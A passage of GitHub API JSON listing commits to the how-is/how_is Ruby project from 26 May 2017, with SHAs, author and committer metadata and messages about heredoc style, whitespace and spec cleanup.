eived_events","type":"User","site_admin":false},"parents":[{"sha":"3187bf31d6bc8f5213dbbc72aeb95e38d5f829a9","url":"https://api.github.com/repos/how-is/how_is/commits/3187bf31d6bc8f5213dbbc72aeb95e38d5f829a9","html_url":"https://github.com/how-is/how_is/commit/3187bf31d6bc8f5213dbbc72aeb95e38d5f829a9"}]},{"sha":"3187bf31d6bc8f5213dbbc72aeb95e38d5f829a9","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6MzE4N2JmMzFkNmJjOGY1MjEzZGJiYzcyYWViOTVlMzhkNWY4MjlhOQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-05-26T08:14:39Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-05-26T08:14:39Z"},"message":"[how_is_spec] remove unnecessary blank line","tree":{"sha":"084ec7796d74a584f6e949e62bef51a3bb4280b1","url":"https://api.github.com/repos/how-is/how_is/git/trees/084ec7796d74a584f6e949e62bef51a3bb4280b1"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/3187bf31d6bc8f5213dbbc72aeb95e38d5f829a9","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/3187bf31d6bc8f5213dbbc72aeb95e38d5f829a9","html_url":"https://github.com/how-is/how_is/commit/3187bf31d6bc8f5213dbbc72aeb95e38d5f829a9","comments_url":"https://api.github.com/repos/how-is/how_is/commits/3187bf31d6bc8f5213dbbc72aeb95e38d5f829a9/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"17d06b3600a972383941d3d58c2ae80695319b49","url":"https://api.github.com/repos/how-is/how_is/commits/17d06b3600a972383941d3d58c2ae80695319b49","html_url":"https://github.com/how-is/how_is/commit/17d06b3600a972383941d3d58c2ae80695319b49"}]},{"sha":"17d06b3600a972383941d3d58c2ae80695319b49","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6MTdkMDZiMzYwMGE5NzIzODM5NDFkM2Q1OGMyYWU4MDY5NTMxOWI0OQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-05-26T08:03:26Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-05-26T08:03:26Z"},"message":"[analyzer_spec] fix weird indentation.","tree":{"sha":"33f4e2ebae53a2b9c11269f26d3de731fbf6b6a8","url":"https://api.github.com/repos/how-is/how_is/git/trees/33f4e2ebae53a2b9c11269f26d3de731fbf6b6a8"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/17d06b3600a972383941d3d58c2ae80695319b49","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/17d06b3600a972383941d3d58c2ae80695319b49","html_url":"https://github.com/how-is/how_is/commit/17d06b3600a972383941d3d58c2ae80695319b49","comments_url":"https://api.github.com/repos/how-is/how_is/commits/17d06b3600a972383941d3d58c2ae80695319b49/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"787188db6600192bd3325a8ee2907bea1efaa895","url":"https://api.github.com/repos/how-is/how_is/commits/787188db6600192bd3325a8ee2907bea1efaa895","html_url":"https://github.com/how-is/how_is/commit/787188db6600192bd3325a8ee2907bea1efaa895"}]},{"sha":"787188db6600192bd3325a8ee2907bea1efaa895","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6Nzg3MTg4ZGI2NjAwMTkyYmQzMzI1YThlZTI5MDdiZWExZWZhYTg5NQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-05-26T08:02:07Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-05-26T08:02:07Z"},"message":"SQUIGGLY HEREDOCSSSSSSS","tree":{"sha":"f7f25052650e12277e9edb3bb6cf55029b6d62fc","url":"https://api.github.com/repos/how-is/how_is/git/trees/f7f25052650e12277e9edb3bb6cf55029b6d62fc"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/787188db6600192bd3325a8ee2907bea1efaa895","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/787188db6600192bd3325a8ee2907bea1efaa895","html_url":"https://github.com/how-is/how_is/commit/787188db6600192bd3325a8ee2907bea1efaa895","comments_url":"https://api.github.com/repos/how-is/how_is/commits/787188db6600192bd3325a8ee2907bea1efaa895/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"93dcc884eb9727cd678df3a37a6e89e3c446b272","url":"https://api.github.com/repos/how-is/how_is/commits/93dcc884eb9727cd678df3a37a6e89e3c446b272","html_url":"https://github.com/how-is/how_is/commit/93dcc884eb9727cd678df3a37a6e89e3c446b272"}]},{"sha":"93dcc884eb9727cd678df3a37a6e89e3c446b272","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6OTNkY2M4ODRlYjk3MjdjZDY3OGRmM2EzN2E2ZTg5ZTNjNDQ2YjI3Mg==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-05-26T08:00:00Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-05-26T08:00:00Z"},"message":"SQUIGGLY HEREDOCS","tree":{"sha":"ba67df2b2339afa144e41e39d8753b98f990d100","url":"https://api.github.com/repos/how-is/how_is/git/trees/ba67df2b2339afa144e41e39d8753b98f990d100"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/93dcc884eb9727cd678df3a37a6e89e3c446b272","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/93dcc884eb9727cd678df3a37a6e89e3c446b272","html_url":"https://github.com/how-is/how_is/commit/93dcc884eb9727cd678df3a37a6e89e3c446b272","comments_url":"https://api.github.com/repos/how-is/how_is/commits/93dcc884eb9727cd678df3a37a6e89e3c446b272/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"825fd2a41415804f50e1b173544fcfff7549b5a4","url":"https://api.github.com/repos/how-is/how_is/commits/825fd2a41415804f50e1b173544fcfff7549b5a4","html_url":"https://github.com/how-is/how_is/commit/825fd2a41415804f50e1b173544fcfff7549b5a4"}]},{"sha":"825fd2a41415804f50e1b173544fcfff7549b5a4","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6ODI1ZmQyYTQxNDE1ODA0ZjUwZTFiMTczNTQ0ZmNmZmY3NTQ5YjVhNA==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-05-26T07:59:09Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-05-26T07:59:09Z"},"message":"[how_is_spec] use _ prefix for unused parameters.","tree":{"sha":"fb840858952e693cb503e581491e485d9a80a6c3","url":"https://api.github.com/repos/how-is/how_is/git/trees/fb840858952e693cb503e581491e485d9a80a6c3"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/825fd2a41415804f50e1b173544fcfff7549b5a4","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/825fd2a41415804f50e1b173544fcfff7549b5a4","html_url":"https://github.com/how-is/how_is/commit/825fd2a41415804f50e1b173544fcfff7549b5a4","comments_url":"https://api.github.com/repos/how-is/how_is/commits/825fd2a41415804f50e1b173544fcfff7549b5a4/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"825c978a8e18e98ee8c6cd46e25e5569b8ee2d79","url":"https://api.github.com/repos/how-is/how_is/commits/825c978a8e18e98ee8c6cd46e25e5569b8ee2d79","html_url":"https://github.com/how-is/how_is/commit/825c978a8e18e98ee8c6cd46e25e5569b8ee2d79"}]},{"sha":"825c978a8e18e98ee8c6cd46e25e5569b8ee2d79","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6ODI1Yzk3OGE4ZTE4ZTk4ZWU4YzZjZDQ2ZTI1ZTU1NjliOGVlMmQ3OQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-05-26T07:57:07Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-05-26T07:57:07Z"},"message":"remove trailing whitespace","tree":{"sha":"c484e720d11095d72855b2f23002530d0b7ef742","url":"https://api.github.com/repos/how-is/how_is/git/trees/c484e720d11095d72855b2f23002530d0b7ef742"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/825c978a8e18e98ee8c6cd46e25e5569b8ee2d79","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/825c978a8e18e98ee8c6cd46e25e5569b8ee2d79","html_url":"https://github.com/how-is/how_is/commit/825c978a8e18e98ee8c6cd46e25e5569b8ee2d79","comments_url":"https://api.github.com/repos/how-is/how_is/commits/825c978a8e18e98ee8c6cd46e25e5569b8ee2d79/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"d8ebc57166b47d290f26873c3834cee2121e64a4","url":"https://api.github.com/repos/how-is/how_is/commits/d8ebc57166b47d290f26873c3834cee2121e64a4","html_url":"https://github.com/how-is/how_is/commit/d8ebc57166b47d290f26873c3834cee2121e64a4"}]},{"sha":"d8ebc57166b47d290f26873c3834cee2121e64a4","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6ZDhlYmM1NzE2NmI0N2QyOTBmMjY4NzNjMzgzNGNlZTIxMjFlNjRhNA==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-05-26T07:56:40Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-05-26T07:56:40Z"},"message":"[how_is_spec] disable BracesAroundHashParameters for generate_frontmatter tests.","tree":{"sha":"97520c517522bcad112df7be34a2a408ca1699e1","url":"https://api.github.com/repos/how-is/how_is/git/trees/97520c517522bcad112df7be34a2a408ca1699e1"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/d8ebc57166b47d290f26873c3834cee2121e64a4","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/d8ebc57166b47d290f26873c3834cee2121e64a4","html_url":"https://github.com/how-is/how_is/commit/d8ebc57166b47d290f26873c3834cee2121e64a4","comments_url":"https://api.github.com/repos/how-is/how_is/commits/d8ebc57166b47d290f26873c3834cee2121e64a4/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"0afc0fc0406cbbb33431ac942e96b6280853a3ed","url":"https://api.github.com/repos/how-is/how_is/commits/0afc0fc0406cbbb33431ac942e96b6280853a3ed","html_url":"https://github.com/how-is/how_is/commit/0afc0fc0406cbbb33431ac942e96b6280853a3ed"}]},{"sha":"0afc0fc0406cbbb33431ac942e96b6280853a3ed","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6MGFmYzBmYzA0MDZjYmJiMzM0MzFhYzk0MmU5NmI2MjgwODUzYTNlZA==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-05-26T07:13:35Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-05-26T07:13:35Z"},"message":"[lib/how_is.rb] remove dead code.","tree":{"sha":"a9605f27cc2d3963ae04c41ddc4d5ff81cb010a1","url":"https://api.github.com/repos/how-is/how_is/git/trees/a9605f27cc2d3963ae04c41ddc4d5ff81cb010a1"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/0afc0fc0406cbbb33431ac942e96b6280853a3ed","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/0afc0fc0406cbbb33431ac942e96b6280853a3ed","html_url":"https://github.com/how-is/how_is/commit/0afc0fc0406cbbb33431ac942e96b6280853a3ed","comments_url":"https://api.github.com/repos/how-is/how_is/commits/0afc0fc0406cbbb33431ac942e96b6280853a3ed/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"1d29778d7be5a511dff33833a7472e5ed6645e93","url":"https://api.github.com/repos/how-is/how_is/commits/1d29778d7be5a511dff33833a7472e5ed6645e93","html_url":"https://github.com/how-is/how_is/commit/1d29778d7be5a511dff33833a7472e5ed6645e93"}]},{"sha":"1d29778d7be5a511dff33833a7472e5ed6645e93","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6MWQyOTc3OGQ3YmU1YTUxMWRmZjMzODMzYTc0NzJlNWVkNjY0NWU5Mw==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-05-26T07:10:52Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-05-26T07:10:52Z"},"message":"[lib/how_is.rb] add spaces inside { and }.","tree":{"sha":"a845e47c63a84170ff0797caf554d133f89b1419","url":"https://api.github.com/repos/how-is/how_is/git/trees/a845e47c63a84170ff0797caf554d133f89b1419"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/1d29778d7be5a511dff33833a7472e5ed6645e93","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/1d29778d7be5a511dff33833a7472e5ed6645e93","html_url":"https://github.com/how-is/how_is/commit/1d29778d7be5a511dff33833a7472e5ed6645e93","comments_url":"https://api.github.com/repos/how-is/how_is/commits/1d29778d7be5a511dff33833a7472e5ed6645e93/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"0d9b38a4d421bbb66ffb0df1ad77fa741a4421b7","url":"https://api.github.com/repos/how-is/how_is/commits/0d9b38a4d421bbb66ffb0df1ad77fa741a4421b7","html_url":"https://github.com/how-is/how_is/commit/0d9b38a4d421bbb66ffb0df1ad77fa741a4421b7"}]},{"sha":"0d9b38a4d421bbb66ffb0df1ad77fa741a4421b7","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6MGQ5YjM4YTRkNDIxYmJiNjZmZmIwZGYxYWQ3N2ZhNzQxYTQ0MjFiNw==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-05-26T07:06:01Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-05-26T07:06:01Z"},"message":"[how_is/report/html] SQUIGGLE HEREDOCS FUCK YEAH","tree":{"sha":"705e930dade776e7587834757ecfc924b984e38a","url":"https://api.github.com/repos/how-is/how_is/git/trees/705e930dade776e7587834757ecfc924b984e38a"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/0d9b38a4d421bbb66ffb0df1ad77fa741a4421b7","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/0d9b38a4d421bbb66ffb0df1ad77fa741a4421b7","html_url":"https://github.com/how-is/how_is/commit/0d9b38a4d421bbb66ffb0df1ad77fa741a4421b7","comments_url":"https://api.github.com/repos/how-is/how_is/commits/0d9b38a4d421bbb66ffb0df1ad77fa741a4421b7/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"e